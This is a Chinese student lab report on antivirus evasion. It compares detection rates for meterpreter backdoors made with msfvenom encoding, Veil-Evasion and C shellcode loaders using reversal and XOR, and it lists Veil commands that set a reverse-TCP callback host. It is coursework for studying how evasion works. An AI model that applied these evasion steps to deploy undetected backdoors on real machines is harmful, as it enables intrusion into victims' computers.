20145216史婧瑶《网络对抗》免杀原理与实践

20145216史婧瑶《网络对抗》免杀原理与实践

基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
  • 基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是做什么?

  • 免杀是对恶意软件做处理,让它不被杀毒软件所检测。

(3)免杀的基本方法有哪些?

  • 改变特征码
    • 加壳,通过加壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
    • 对shellcode进行编码、重组 
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接(用的最多)
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改 
  • 其它方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
    • 纯手工打造一个恶意软件

实践总结与体会

这次实验让我深入理解了免杀原理,也让我知道了原来以前认为很安全的杀毒软件业并没有那么可靠,因为有很多方法可以实现免杀,给我们的电脑带来风险。所以我们以后要定期检查自己的电脑,保护好自己的电脑。

离实战还缺些什么技术或步骤?

  • 我认为在实战过程中,我们并没有那么容易在别人的电脑中植入一个后门程序,所以增加了难度
  • 各种杀毒软件也在不断的更新和完善功能,所以我们实现的免杀程序每时每刻都有可能被杀毒软件检测出来

实践过程记录

msfvenom直接生成meterpreter可执行文件

  • 在虚拟机内生成meterpreter可执行文件20145216test.exe,并传送至主机 

  

  • http://www.virscan.org/ 网站上查一下这个病毒能被多少杀软检测出来,出现如下问题,于是重命名为sjytest,再来一次 

  

  • 检测结果如下 

  

  • 扫描结果:53%的杀软(21/39)报告发现病毒

Msfvenom使用编码器生成meterpreter可执行文件

编码一次

  • 在虚拟机中生成可执行文件sjytest2.exe,并传送至主机 

  

  • 再去http://www.virscan.org/ 网站上检测一下 

  

  • 扫描结果:53%的杀软(21/39)报告发现病毒,可以看出与直接生成可执行文件的扫描结果是一样的

编码十次

  • 在虚拟机中生成可执行文件sjytest10.exe,并传送至主机 

  

  • 再次检测 

  

  • 扫描结果:53%的杀软(21/39)报告发现病毒,发现并没有什么变化,很失望

Veil-Evasion生成可执行文件

  • 由于kali中已有Veil-Evasion这个软件,在命令行直接输入veil-evasion打开软件,然后在menu里输入命令生成可执行文件:

    use python/meterpreter/rev_tcp
    
    set LHOST 172.16.47.130
    
    generate
    
    5216winmine
    
    1
    
  • 生成的可执行文件保存在下图中所示位置,将其传送至主机

  • 进行检测 

  • 扫描结果:25%的杀软(10/39)报告发现病毒,效果较前几次扫描都要好

使用C语言调用Shellcode

  • 在虚拟机中使用命令生成一个c语言格式的Shellcode数组: 

  

  • 将生成的代码从虚拟机里拷出来,用Visual C++ 6.0进行编译运行生成可执行文件5216shellcode.exe
  • 然后在kali下进入MSF打开监听进程,在靶机上运行可执行文件5216shellcode.exe,kali成功获取权限 

  

  • 5216shellcode.exe并没有被360查杀,电脑版本win7
  • 进行检测 

  

  • 扫描结果:12%的杀软(5/39)报告发现病毒,报毒率比用veil-evasion要低一些,可以看出生成shellcode编写的后门程序比之前的msfvenom直接生成可执行文件要好多了,但仍被定义为病毒文件,还需要改改

修改shellcode——逆序

  • 参考高其同学的代码,用Visual C++ 6.0进行编译运行生成可执行文件5216shellcode1.exe,进行检测 

  

  • 扫描结果:5%的杀软(2/39)报告发现病毒
  • 回连测试一下,kali成功获取权限

  

进一步修改shellcode——将shellcode逆序和异或结合

  • 再次参考高其同学的代码,用Visual C++ 6.0进行编译运行生成可执行文件5216shellcode2.exe,再次进行检测 

  

  • 扫描结果:5%的杀软(2/39)报告发现病毒,和上次检测结果相同
  • 回连测试一下,kali成功获取权限 

  

  • 用360杀毒扫描,没有被扫描出来 

  

  • 杀毒软件:360 电脑版本:win7





原文地址:https://www.cnblogs.com/sjy519/p/6612948.html